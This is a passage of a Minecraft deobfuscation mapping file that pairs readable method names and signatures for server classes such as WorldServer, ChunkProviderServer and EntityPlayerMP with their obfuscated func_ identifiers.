net/minecraft/server/management/PlayerManager/getFurthestViewableBlock (I)I net/minecraft/server/management/PlayerManager/func_72686_a (I)I +MD: net/minecraft/server/management/PlayerManager/access$200 (Lnet/minecraft/server/management/PlayerManager;)Lnet/minecraft/util/LongHashMap; net/minecraft/server/management/PlayerManager/access$200 (Lnet/minecraft/server/management/PlayerManager;)Lnet/minecraft/util/LongHashMap; +MD: net/minecraft/server/management/PlayerManager/filterChunkLoadQueue (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/PlayerManager/func_72691_b (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/PlayerManager/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/server/management/PlayerManager/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/server/management/PlayerManager/access$300 (Lnet/minecraft/server/management/PlayerManager;)Ljava/util/List; net/minecraft/server/management/PlayerManager/access$300 (Lnet/minecraft/server/management/PlayerManager;)Ljava/util/List; +MD: net/minecraft/server/management/PlayerManager/removePlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/PlayerManager/func_72695_c (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/PlayerManager/access$400 (Lnet/minecraft/server/management/PlayerManager;)Ljava/util/List; net/minecraft/server/management/PlayerManager/access$400 (Lnet/minecraft/server/management/PlayerManager;)Ljava/util/List; +MD: net/minecraft/server/management/PlayerManager/updateMountedMovingPlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/PlayerManager/func_72685_d (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/world/gen/ChunkProviderServer/func_152380_a ()Ljava/util/List; net/minecraft/world/gen/ChunkProviderServer/func_152380_a ()Ljava/util/List; +MD: net/minecraft/world/gen/ChunkProviderServer/chunkExists (II)Z net/minecraft/world/gen/ChunkProviderServer/func_73149_a (II)Z +MD: net/minecraft/world/gen/ChunkProviderServer/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/ChunkProviderServer/func_180513_a (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/ChunkProviderServer/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/world/gen/ChunkProviderServer/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/world/gen/ChunkProviderServer/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/world/gen/ChunkProviderServer/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/world/gen/ChunkProviderServer/saveChunkExtraData (Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/world/gen/ChunkProviderServer/func_73243_a (Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/world/gen/ChunkProviderServer/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/world/gen/ChunkProviderServer/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/world/gen/ChunkProviderServer/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderServer/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderServer/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/world/gen/ChunkProviderServer/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/world/gen/ChunkProviderServer/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/gen/ChunkProviderServer/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/gen/ChunkProviderServer/unloadAllChunks ()V net/minecraft/world/gen/ChunkProviderServer/func_73240_a ()V +MD: net/minecraft/world/gen/ChunkProviderServer/dropChunk (II)V net/minecraft/world/gen/ChunkProviderServer/func_73241_b (II)V +MD: net/minecraft/world/gen/ChunkProviderServer/saveChunkData (Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/world/gen/ChunkProviderServer/func_73242_b (Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/world/gen/ChunkProviderServer/saveExtraData ()V net/minecraft/world/gen/ChunkProviderServer/func_104112_b ()V +MD: net/minecraft/world/gen/ChunkProviderServer/loadChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderServer/func_73158_c (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderServer/unloadQueuedChunks ()Z net/minecraft/world/gen/ChunkProviderServer/func_73156_b ()Z +MD: net/minecraft/world/gen/ChunkProviderServer/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderServer/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderServer/canSave ()Z net/minecraft/world/gen/ChunkProviderServer/func_73157_c ()Z +MD: net/minecraft/world/gen/ChunkProviderServer/loadChunkFromFile (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/gen/ChunkProviderServer/func_73239_e (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/gen/ChunkProviderServer/makeString ()Ljava/lang/String; net/minecraft/world/gen/ChunkProviderServer/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/world/gen/ChunkProviderServer/getLoadedChunkCount ()I net/minecraft/world/gen/ChunkProviderServer/func_73152_e ()I +MD: net/minecraft/world/WorldServer$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/world/WorldServer$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/world/WorldServer$1/apply (Ljava/lang/Object;)Z net/minecraft/world/WorldServer$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/world/WorldServer/saveLevel ()V net/minecraft/world/WorldServer/func_73042_a ()V +MD: net/minecraft/world/WorldServer/getTileEntitiesIn (IIIIII)Ljava/util/List; net/minecraft/world/WorldServer/func_147486_a (IIIIII)Ljava/util/List; +MD: net/minecraft/world/WorldServer/fireBlockEvent (Lnet/minecraft/block/BlockEventData;)Z net/minecraft/world/WorldServer/func_147485_a (Lnet/minecraft/block/BlockEventData;)Z +MD: net/minecraft/world/WorldServer/initialize (Lnet/minecraft/world/WorldSettings;)V net/minecraft/world/WorldServer/func_72963_a (Lnet/minecraft/world/WorldSettings;)V +MD: net/minecraft/world/WorldServer/getPendingBlockUpdates (Lnet/minecraft/world/chunk/Chunk;Z)Ljava/util/List; net/minecraft/world/WorldServer/func_72920_a (Lnet/minecraft/world/chunk/Chunk;Z)Ljava/util/List; +MD: net/minecraft/world/WorldServer/func_175712_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;Z)Ljava/util/List; net/minecraft/world/WorldServer/func_175712_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;Z)Ljava/util/List; +MD: net/minecraft/world/WorldServer/adjustPosToNearbyEntity (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/WorldServer/func_175736_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/WorldServer/isBlockTickPending (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)Z net/minecraft/world/WorldServer/func_175691_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)Z +MD: net/minecraft/world/WorldServer/scheduleUpdate (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;I)V net/minecraft/world/WorldServer/func_175684_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;I)V +MD: net/minecraft/world/WorldServer/updateBlockTick (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V net/minecraft/world/WorldServer/func_175654_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V +MD: net/minecraft/world/WorldServer/spawnParticle (Lnet/minecraft/util/EnumParticleTypes;DDDIDDDD[I)V net/minecraft/world/WorldServer/func_175739_a (Lnet/minecraft/util/EnumParticleTypes;DDDIDDDD[I)V +MD: net/minecraft/world/WorldServer/spawnParticle (Lnet/minecraft/util/EnumParticleTypes;ZDDDIDDDD[I)V net/minecraft/world/WorldServer/func_180505_a (Lnet/minecraft/util/EnumParticleTypes;ZDDDIDDDD[I)V +MD: net/minecraft/world/WorldServer/addScheduledTask (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/world/WorldServer/func_152344_a (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/world/WorldServer/getEntityFromUuid (Ljava/util/UUID;)Lnet/minecraft/entity/Entity; net/minecraft/world/WorldServer/func_175733_a (Ljava/util/UUID;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/world/WorldServer/onEntityAdded (Lnet/minecraft/entity/Entity;)V net/minecraft/world/WorldServer/func_72923_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/WorldServer/setEntityState (Lnet/minecraft/entity/Entity;B)V net/minecraft/world/WorldServer/func_72960_a (Lnet/minecraft/entity/Entity;B)V +MD: net/minecraft/world/WorldServer/newExplosion (Lnet/minecraft/entity/Entity;DDDFZZ)Lnet/minecraft/world/Explosion; net/minecraft/world/WorldServer/func_72885_a (Lnet/minecraft/entity/Entity;DDDFZZ)Lnet/minecraft/world/Explosion; +MD: net/minecraft/world/WorldServer/updateEntityWithOptionalForce (Lnet/minecraft/entity/Entity;Z)V net/minecraft/world/WorldServer/func_72866_a (Lnet/minecraft/entity/Entity;Z)V +MD: net/minecraft/world/WorldServer/canCreatureTypeSpawnHere (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/world/biome/BiomeGenBase$SpawnListEntry;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/WorldServer/func_175732_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/world/biome/BiomeGenBase$SpawnListEntry;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/WorldServer/getSpawnListEntryForTypeAt (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase$SpawnListEntry; net/minecraft/world/WorldServer/func_175734_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase$SpawnListEntry; +MD: net/minecraft/world/WorldServer/isBlockModifiable (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/WorldServer/func_175660_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/WorldServer/tickUpdates (Z)Z net/minecraft/world/WorldServer/func_72955_a (Z)Z +MD: net/minecraft/world/WorldServer/saveAllChunks (ZLnet/minecraft/util/IProgressUpdate;)V net/minecraft/world/WorldServer/func_73044_a (ZLnet/minecraft/util/IProgressUpdate;)V +MD: net/minecraft/world/WorldServer/isCallingFromMinecraftThread ()Z net/minecraft/world/WorldServer/func_152345_ab ()Z +MD: net/minecraft/world/WorldServer/resetRainAndThunder ()V net/minecraft/world/WorldServer/func_73051_P ()V +MD: net/minecraft/world/WorldServer/canSpawnNPCs ()Z net/minecraft/world/WorldServer/func_175738_ah ()Z +MD: net/minecraft/world/WorldServer/canSpawnAnimals ()Z net/minecraft/world/WorldServer/func_175735_ai ()Z +MD: net/minecraft/world/WorldServer/setDebugWorldSettings ()V net/minecraft/world/WorldServer/func_175737_aj ()V +MD: net/minecraft/world/WorldServer/sendQueuedBlockEvents ()V net/minecraft/world/WorldServer/func_147488_Z ()V +MD: net/minecraft/world/WorldServer/init ()Lnet/minecraft/world/World; net/minecraft/world/WorldServer/func_175643_b ()Lnet/minecraft/world/World; +MD: net/minecraft/world/WorldServer/createSpawnPosition (Lnet/minecraft/world/WorldSettings;)V net/minecraft/world/WorldServer/func_73052_b (Lnet/minecraft/world/WorldSettings;)V +MD: net/minecraft/world/WorldServer/scheduleBlockUpdate (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V net/minecraft/world/WorldServer/func_180497_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V +MD: net/minecraft/world/WorldServer/onEntityRemoved (Lnet/minecraft/entity/Entity;)V net/minecraft/world/WorldServer/func_72847_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/WorldServer/tick ()V net/minecraft/world/WorldServer/func_72835_b ()V +MD: net/minecraft/world/WorldServer/addBlockEvent (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V net/minecraft/world/WorldServer/func_175641_c (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V +MD: net/minecraft/world/WorldServer/addWeatherEffect (Lnet/minecraft/entity/Entity;)Z net/minecraft/world/WorldServer/func_72942_c (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/world/WorldServer/updateAllPlayersSleepingFlag ()V net/minecraft/world/WorldServer/func_72854_c ()V +MD: net/minecraft/world/WorldServer/wakeAllPlayers ()V net/minecraft/world/WorldServer/func_73053_d ()V +MD: net/minecraft/world/WorldServer/areAllPlayersAsleep ()Z net/minecraft/world/WorldServer/func_73056_e ()Z +MD: net/minecraft/world/WorldServer/setInitialSpawnLocation ()V net/minecraft/world/WorldServer/func_72974_f ()V +MD: net/minecraft/world/WorldServer/updateBlocks ()V net/minecraft/world/WorldServer/func_147456_g ()V +MD: net/minecraft/world/WorldServer/updateEntities ()V net/minecraft/world/WorldServer/func_72939_s ()V +MD: net/minecraft/world/WorldServer/resetUpdateEntityTick ()V net/minecraft/world/WorldServer/func_82742_i ()V +MD: net/minecraft/world/WorldServer/createChunkProvider ()Lnet/minecraft/world/chunk/IChunkProvider; net/minecraft/world/WorldServer/func_72970_h ()Lnet/minecraft/world/chunk/IChunkProvider; +MD: net/minecraft/world/WorldServer/createBonusChest ()V net/minecraft/world/WorldServer/func_73047_i ()V +MD: net/minecraft/world/WorldServer/getSpawnCoordinate ()Lnet/minecraft/util/BlockPos; net/minecraft/world/WorldServer/func_180504_m ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/WorldServer/saveChunkData ()V net/minecraft/world/WorldServer/func_104140_m ()V +MD: net/minecraft/world/WorldServer/flush ()V net/minecraft/world/WorldServer/func_73041_k ()V +MD: net/minecraft/world/WorldServer/updateWeather ()V net/minecraft/world/WorldServer/func_72979_l ()V +MD: net/minecraft/world/WorldServer/getRenderDistanceChunks ()I net/minecraft/world/WorldServer/func_152379_p ()I +MD: net/minecraft/world/WorldServer/getMinecraftServer ()Lnet/minecraft/server/MinecraftServer; net/minecraft/world/WorldServer/func_73046_m ()Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/world/WorldServer/getEntityTracker ()Lnet/minecraft/entity/EntityTracker; net/minecraft/world/WorldServer/func_73039_n ()Lnet/minecraft/entity/EntityTracker; +MD: net/minecraft/world/WorldServer/getPlayerManager ()Lnet/minecraft/server/management/PlayerManager; net/minecraft/world/WorldServer/func_73040_p ()Lnet/minecraft/server/management/PlayerManager; +MD: net/minecraft/world/WorldServer/getDefaultTeleporter ()Lnet/minecraft/world/Teleporter; net/minecraft/world/WorldServer/func_85176_s ()Lnet/minecraft/world/Teleporter; +MD: net/minecraft/entity/player/EntityPlayerMP/getStatFile ()Lnet/minecraft/stats/StatisticsFile; net/minecraft/entity/player/EntityPlayerMP/func_147099_x ()Lnet/minecraft/stats/StatisticsFile; +MD: net/minecraft/entity/player/EntityPlayerMP/updatePotionMetadata ()V net/minecraft/entity/player/EntityPlayerMP/func_175135_B ()V +MD: net/minecraft/entity/player/EntityPlayerMP/getSpectatingEntity ()Lnet/minecraft/entity/Entity; net/minecraft/entity/player/EntityPlayerMP/func_175398_C ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/player/EntityPlayerMP/getLastActiveTime ()J net/minecraft/entity/player/EntityPlayerMP/func_154331_x ()J +MD: net/minecraft/entity/player/EntityPlayerMP/getTabListDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/player/EntityPlayerMP/func_175396_E ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/player/EntityPlayerMP/setPositionAndUpdate (DDD)V net/minecraft/entity/player/EntityPlayerMP/func_70634_a (DDD)V +MD: net/minecraft/entity/player/EntityPlayerMP/handleFalling (DZ)V net/minecraft/entity/player/EntityPlayerMP/func_71122_b (DZ)V +MD: net/minecraft/entity/player/EntityPlayerMP/updateFallState (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/player/EntityPlayerMP/func_180433_a (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/player/EntityPlayerMP/setEntityActionState (FFZZ)V net/minecraft/entity/player/EntityPlayerMP/func_110430_a (FFZZ)V +MD: net/minecraft/entity/player/EntityPlayerMP/addExperienceLevel (I)V net/minecraft/entity/player/EntityPlayerMP/func_82242_a (I)V +MD: net/minecraft/entity/player/EntityPlayerMP/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/entity/player/EntityPlayerMP/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/entity/player/EntityPlayerMP/displayVillagerTradeGui (Lnet/minecraft/entity/IMerchant;)V net/minecraft/entity/player/EntityPlayerMP/func_180472_a (Lnet/minecraft/entity/IMerchant;)V +MD: net/minecraft/entity/player/EntityPlayerMP/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/entity/player/EntityPlayerMP/func_71033_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/entity/player/EntityPlayerMP/sendTileEntityUpdate (Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/entity/player/EntityPlayerMP/func_147097_b (Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/entity/player/EntityPlayerMP/openEditSign (Lnet/minecraft/tileentity/TileEntitySign;)V net/minecraft/entity/player/EntityPlayerMP/func_175141_a (Lnet/minecraft/tileentity/TileEntitySign;)V +MD: net/minecraft/entity/player/EntityPlayerMP/trySleep (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; net/minecraft/entity/player/EntityPlayerMP/func_180469_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; +MD: net/minecraft/entity/player/EntityPlayerMP/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/player/EntityPlayerMP/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/player/EntityPlayerMP/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/entity/player/EntityPlayerMP/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/entity/player/EntityPlayerMP/handleClientSettings (Lnet/minecraft/network/play/client/C15PacketClientSettings;)V net/minecraft/entity/player/EntityPlayerMP/func_147100_a (Lnet/minecraft/network/play/client/C15PacketClientSettings;)V +MD: net/minecraft/entity/player/EntityPlayerMP/loadResourcePack (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/entity/player/EntityPlayerMP/func_175397_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/entity/player/EntityPlayerMP/isSpectatedByPlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)Z net/minecraft/entity/player/EntityPlayerMP/func_174827_a (Lnet/minecraft/entity/player/EntityPlayerMP;)Z +MD: net/minecraft/entity/player/EntityPlayerMP/func_175145_a (Lnet/minecraft/stats/StatBase;)V net/minecraft/entity/player/EntityPlayerMP/func_175145_a (Lnet/minecraft/stats/StatBase;)V +MD: net/minecraft/entity/player/EntityPlayerMP/addStat (Lnet/minecraft/stats/StatBase;I)V net/minecraft/entity/player/EntityPlayerMP/func_71064_a (Lnet/minecraft/stats/StatBase;I)V +MD: net/minecraft/entity/player/EntityPlayerMP/displayGUIChest (Lnet/minecraft/inventory/IInventory;)V net/minecraft/entity/player/EntityPlayerMP/func_71007_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/entity/player/EntityPlayerMP/displayGui (Lnet/minecraft/world/IInteractionObject;)V net/minecraft/entity/player/EntityPlayerMP/func_180468_a (Lnet/minecraft/world/IInteractionObject;)V +MD: net/minecraft/entity/player/EntityPlayerMP/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/player/EntityPlayerMP/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/player/EntityPlayerMP/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/player/EntityPlayerMP/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/player/EntityPlayerMP/onNewPotionEffect (Lnet/minecraft/potion/PotionEffect;)V net/minecraft/entity/player/EntityPlayerMP/func_70670_a (Lnet/minecraft/potion/PotionEffect;)V +MD: net/minecraft/entity/player/EntityPlayerMP/onChangedPotionEffect (Lnet/minecraft/potion/PotionEffect;Z)V net/minecraft/entity/player/EntityPlayerMP/func_70695_b (Lnet/minecraft/potion/PotionEffect;Z)V +MD: net/minecraft/entity/player/EntityPlayerMP/mountEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayerMP/func_70078_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayerMP/onItemPickup (Lnet/minecraft/entity/Entity;I)V net/minecraft/entity/player/EntityPlayerMP/func_71001_a (Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/entity/player/EntityPlayerMP/displayGUIHorse (Lnet/minecraft/entity/passive/EntityHorse;Lnet/minecraft/inventory/IInventory;)V net/minecraft/entity/player/EntityPlayerMP/func_110298_a (Lnet/minecraft/entity/passive/EntityHorse;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/entity/player/EntityPlayerMP/canAttackPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/player/EntityPlayerMP/func_96122_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/player/EntityPlayerMP/clonePlayer (Lnet/minecraft/entity/player/EntityPlayer;Z)V net/minecraft/entity/player/EntityPlayerMP/func_71049_a (Lnet/minecraft/entity/player/EntityPlayer;Z)V +MD: net/minecraft/entity/player/EntityPlayerMP/sendContainerToPlayer (Lnet/minecraft/inventory/Container;)V net/minecraft/entity/player/EntityPlayerMP/func_71120_a (Lnet/minecraft/inventory/Container;)V +MD: net/minecraft/entity/player/EntityPlayerMP/sendProgressBarUpdate (Lnet/minecraft/inventory/Container;II)V net/minecraft/entity/player/EntityPlayerMP/func_71112_a (Lnet/minecraft/inventory/Container;II)V +MD: net/minecraft/entity/player/EntityPlayerMP/sendSlotContents (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/player/EntityPlayerMP/func_71111_a (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/player/EntityPlayerMP/updateCraftingInventory (Lnet/minecraft/inventory/Container;Ljava/util/List;)V net/minecraft/entity/player/EntityPlayerMP/func_71110_a (Lnet/minecraft/inventory/Container;Ljava/util/List;)V +MD: net/minecraft/entity/player/EntityPlayerMP/sendAllWindowProperties (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V net/minecraft/entity/player/EntityPlayerMP/func_175173_a (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/entity/player/EntityPlayerMP/displayGUIBook (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/player/EntityPlayerMP/func_71048_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/player/EntityPlayerMP/setItemInUse (Lnet/minecraft/item/ItemStack;I)V net/minecraft/entity/player/EntityPlayerMP/func_71008_a (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/entity/player/EntityPlayerMP/wakeUpPlayer (ZZZ)V net/minecraft/entity/player/EntityPlayerMP/func_70999_a (ZZZ)V +MD: net/minecraft/entity/player/EntityPlayerMP/removeExperienceLevel (I)V net/minecraft/entity/player/EntityPlayerMP/func_71013_b (I)V +MD: net/minecraft/entity/player/EntityPlayerMP/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/player/EntityPlayerMP/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/player/EntityPlayerMP/addChatComponentMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/entity/player/EntityPlayerMP/func_146105_b (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/entity/player/EntityPlayerMP/onFinishedPotionEffect (Lnet/minecraft/potion/PotionEffect;)V net/minecraft/entity/player/EntityPlayerMP/func_70688_c (Lnet/minecraft/potion/PotionEffect;)V +MD: net/minecraft/entity/player/EntityPlayerMP/onCriticalHit (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayerMP/func_71009_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayerMP/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/entity/player/EntityPlayerMP/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/player/EntityPlayerMP/travelToDimension (I)V net/minecraft/entity/player/EntityPlayerMP/func_71027_c (I)V +MD: net/minecraft/entity/player/EntityPlayerMP/onEnchantmentCritical (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayerMP/func_71047_c (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayerMP/canPlayersAttack ()Z net/minecraft/entity/player/EntityPlayerMP/func_175400_cq ()Z +MD: net/minecraft/entity/player/EntityPlayerMP/getNextWindowId ()V net/minecraft/entity/player/EntityPlayerMP/func_71117_bO ()V +MD: net/minecraft/entity/player/EntityPlayerMP/removeEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayerMP/func_152339_d (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayerMP/setSpectatingEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayerMP/func_175399_e (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayerMP/attackTargetEntityWithCurrentItem (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayerMP/func_71059_n (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayerMP/addSelfToInternalCraftingInventory ()V net/minecraft/entity/player/EntityPlayerMP/func_71116_b ()V +MD: net/minecraft/entity/player/EntityPlayerMP/sendEnterCombat ()V net/minecraft/entity/player/EntityPlayerMP/func_152111_bt ()V +MD: net/minecraft/entity/player/EntityPlayerMP/updateBiomesExplored ()V net/minecraft/entity/player/EntityPlayerMP/func_147098_j ()V +MD: net/minecraft/entity/player/EntityPlayerMP/sendEndCombat ()V net/minecraft/entity/player/EntityPlayerMP/func_152112_bu ()V +MD: net/minecraft/entity/player/EntityPlayerMP/onUpdateEntity ()V net/minecraft/entity/player/EntityPlayerMP/func_71127_g ()V +MD: net/minecraft/entity/player/EntityPlayerMP/closeScreen ()V net/minecraft/entity/player/EntityPlayerMP/func_71053_j ()V +MD: net/minecraft/entity/player/EntityPlayerMP/updateHeldItem ()V net/minecraft/entity/player/EntityPlayerMP/func_71113_k ()V +MD: net/minecraft/entity/player/EntityPlayerMP/closeContainer ()V net/minecraft/entity/player/EntityPlayerMP/func_71128_l ()V +MD: net/minecraft/entity/player/EntityPlayerMP/mountEntityAndWakeUp ()V net/minecraft/entity/player/EntityPlayerMP/func_71123_m ()V +MD: net/minecraft/entity/player/EntityPlayerMP/setPlayerHealthUpdated ()V net/minecraft/entity/player/EntityPlayerMP/func_71118_n ()V +MD: net/minecraft/entity/player/EntityPlayerMP/onItemUseFinish ()V net/minecraft/entity/player/EntityPlayerMP/func_71036_o ()V +MD: net/minecraft/entity/player/EntityPlayerMP/sendPlayerAbilities ()V net/minecraft/entity/player/EntityPlayerMP/func_71016_p ()V +MD: net/minecraft/entity/player/EntityPlayerMP/onUpdate ()V net/minecraft/entity/player/EntityPlayerMP/func_70071_h_ ()V +MD: net/minecraft/entity/player/EntityPlayerMP/getServerForPlayer ()Lnet/minecraft/world/WorldServer; net/minecraft/entity/player/EntityPlayerMP/func_71121_q ()Lnet/minecraft/world/WorldServer; +MD: net/minecraft/entity/player/EntityPlayerMP/isSpectator ()Z net/minecraft/entity/player/EntityPlayerMP/func_175149_v ()Z +MD: net/minecraft/entity/player/EntityPlayerMP/getPlayerIP ()Ljava/lang/String; net/minecraft/entity/player/EntityPlayerMP/func_71114_r ()Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayerMP/getChatVisibility ()Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; net/minecraft/entity/player/EntityPlayerMP/func_147096_v ()Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; +MD: 